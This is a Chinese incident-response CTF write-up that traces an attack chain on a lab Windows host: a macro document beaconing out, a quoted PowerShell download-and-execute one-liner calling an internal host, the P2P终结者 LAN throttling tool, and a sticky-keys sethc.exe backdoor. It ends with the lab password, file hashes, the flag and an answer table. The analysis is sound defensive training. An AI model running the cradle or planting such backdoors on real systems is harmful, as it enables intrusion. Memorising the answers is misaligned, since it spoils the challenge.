ATTCK实战系列——蓝队防御(六)应急响应复盘
前景需要:小王从某安全大厂被优化掉后,来到了某私立小学当起了计算机老师。某一天上课的时候,发现鼠标在自己动弹,又发现除了某台电脑,其他电脑连不上网络。感觉肯定有学生捣乱,于是开启了应急。
1.攻击者的外网IP地址
2.攻击者的内网跳板IP地址
3.攻击者使用的限速软件的md5大写
4.攻击者的后门md5大写
5.攻击者留下的flag
解题:
运行桌面上"解题工具.exe"即可
相关账户密码
Administrator
zgsf@2024
一、攻击者外网 IP 地址
拿到靶机后,第一反应肯定是先看当前主机有没有异常外联。毕竟题目里说“鼠标自己动”,很容易让人想到远控或者木马连接。
因此先使用:
netstat -ano
查看当前计算机的网络连接情况。
不过一开始并没有发现特别明显的异常外网 IP 请求。
既然当前网络连接没有直接结果,那下一步就转向登录日志,看看有没有可疑 IP 登录、爆破失败记录或者远程连接记录。
可以使用:
compmgmt.msc
进入计算机管理,然后在事件查看器中筛选相关事件 ID。
常见登录相关事件 ID 如下:
事件 ID 含义
4624 登录成功
4625 登录失败
4634 用户注销
4647 用户主动注销
4672 特权用户登录
4776 NTLM 身份验证
1149 远程桌面 RDP 登录成功
我首先排查了 4624 登录成功日志,但是没有发现明显异常。
接着查看 4625 登录失败日志,也没有发现有价值的信息。
远程登录相关日志也没有看到有用线索。
这说明攻击者大概率不是通过正常远程登录进入这台机器的。
接下来继续查看是否存在恶意启动项。一个破坏者如果想长期控制一台电脑,很可能会在启动项中安插恶意程序。但这里也没有发现明显恶意程序。
再看计划任务,也没有发现明显恶意进程或可疑任务。
到这里,常规登录、启动项、计划任务都没发现问题,就需要把注意力放回桌面文件上。
桌面上有几个比较显眼的 Word 文档。打开这些文件后,再次使用:
netstat -ano
可以发现主机主动访问了一个外网 IP。
这就比较明显了:这些文档很可能不是普通文件,而是钓鱼文档,里面存在恶意宏代码。
我尝试把文件转移到本机进一步分析,结果被火绒直接查杀,提示 Office 文档中存在宏病毒。
继续查看宏代码,可以看到它的大致逻辑是:
打开文档后自动执行宏,将一段 shellcode 注入到 rundll32.exe 进程中,然后连接外网 IP 8.219.200.130。
最后使用云沙箱分析,也能看到该文件存在宏注入行为。
因此,第一题答案为:
8.219.200.130
二、攻击者的内网跳板 IP 地址
第一题是从桌面恶意文件入手找到的,所以第二题我也优先从桌面继续排查。
在桌面文件中,除了恶意 Word 文档外,还有一个和 phpStudy 修复相关的文件。右键编辑后,可以看到其中存在一条 PowerShell 下载执行命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.20.129:801/a'))"
这条命令的意思是:
-nop:不加载 PowerShell 配置文件;
-w hidden:隐藏窗口执行;
downloadstring:从远程地址下载脚本内容;
IEX:将下载下来的内容直接当作 PowerShell 代码执行。
也就是说,它会访问:
http://192.168.20.129:801/a
下载并执行恶意脚本。
这里的 192.168.20.129 是内网地址,结合题目问“内网跳板 IP”,基本可以确定它就是攻击者的内网跳板机。
第二题答案为:
192.168.20.129
三、攻击者使用的限速软件 MD5 大写
第三题问的是攻击者使用的限速软件 MD5。
题目背景里有一个很关键的现象:
除了某台电脑,其他电脑都连不上网络。
这个现象非常像局域网限速、ARP 欺骗或者断网工具造成的。所以这里要找的不是恶意宏,也不是 PowerShell,而是类似:
P2P 终结者;
NetCut;
聚生网管;
NetLimiter;
ARP 类控制工具。
首先排查桌面和下载目录,看是否存在未知压缩包、安装程序或者文件夹,但这里没有找到明显结果。
随后继续在 C 盘中查找,在 C:\PerfLogs 下发现了一个套娃目录。一路点进去之后,最终发现了一个可疑程序:
p2pover4.34.exe
p2pover 很明显就是 P2POver,也就是常说的 P2P 终结者,属于典型的局域网限速、断网工具,正好对应题目中“其他电脑无法联网”的现象。
接下来使用 certutil 计算该文件的 MD5:
certutil -hashfile p2pover4.34.exe MD5
得到 MD5 后,注意题目要求是大写,所以第三题答案为:
2A5D8838BDB4D404EC632318C94ADC96
四、攻击者的后门 MD5 大写
第四题问的是攻击者留下的后门。
这里和第三题的思路不一样。第三题是找“限速工具”,第四题要找的是“权限维持后门”。
一开始我也沿着启动项、计划任务、PowerShell 日志这些方向排查,但是没有发现特别明显的结果。既然常规持久化位置没有明显线索,就要考虑 Windows 中比较经典的后门方式,比如:
粘滞键后门;
辅助功能后门;
IFEO 映像劫持;
系统文件替换。
这里重点关注:
C:\Windows\System32\sethc.exe
sethc.exe 是 Windows 的粘滞键程序。正常情况下,连续按 5 次 Shift 会触发粘滞键提示。但攻击者经常会把它替换成 cmd.exe 或自己的后门程序。这样在登录界面连续按 5 次 Shift,就可能直接弹出命令行或者后门程序。
在 System32 目录下查看时,发现 sethc.exe 明显异常:
它的修改时间和大小都不太正常,结合题目问“后门”,基本可以判断这个文件就是被攻击者替换过的粘滞键后门。
接下来还是使用 certutil 计算该文件的 MD5:
certutil -hashfile "C:\Windows\System32\sethc.exe" MD5
得到结果后转换为大写,第四题答案为:
58A3FF82A1AFF927809C529EB1385DA1
五、攻击者留下的 flag
最后一题比较直接。
既然第四题已经确定后门文件是 sethc.exe,那么 flag 很可能就在这个后门程序中。
可以直接打开这个文件查看,也可以连续按 5 次 Shift 触发粘滞键后门。
最终得到 flag:
flag{zgsf@shift666}
六、最终答案汇总
题号 问题 答案
1 攻击者的外网 IP 地址 8.219.200.130
2 攻击者的内网跳板 IP 地址 192.168.20.129
3 限速软件 MD5 大写 2A5D8838BDB4D404EC632318C94ADC96
4 后门 MD5 大写 58A3FF82A1AFF927809C529EB1385DA1
5 攻击者留下的 flag flag{zgsf@shift666}
七、总结
这道题的整体攻击链大概是:
恶意 Office 文档
↓
宏代码执行 shellcode
↓
连接外网 IP 8.219.200.130
↓
PowerShell 下载执行内网脚本
↓
内网跳板 IP 192.168.20.129
↓
使用 P2POver 进行局域网限速/断网
↓
替换 sethc.exe 留下粘滞键后门
↓
通过后门文件拿到 flag
整体来说,这道题还是比较综合的。它不是单纯查一个日志就能出结果,而是需要从网络连接、登录日志、启动项、计划任务、桌面文件、恶意宏、限速工具、系统后门几个方向一起排查。
不过说实话,做到最后还是有点绷不住。题目背景说是“小学计算机老师”,结果学生会钓鱼文档、宏注入、PowerShell 下载执行、P2P 限速,还知道粘滞键后门。
这真的是小学吗?怎么不是同龄人也酱味大鸡我!!
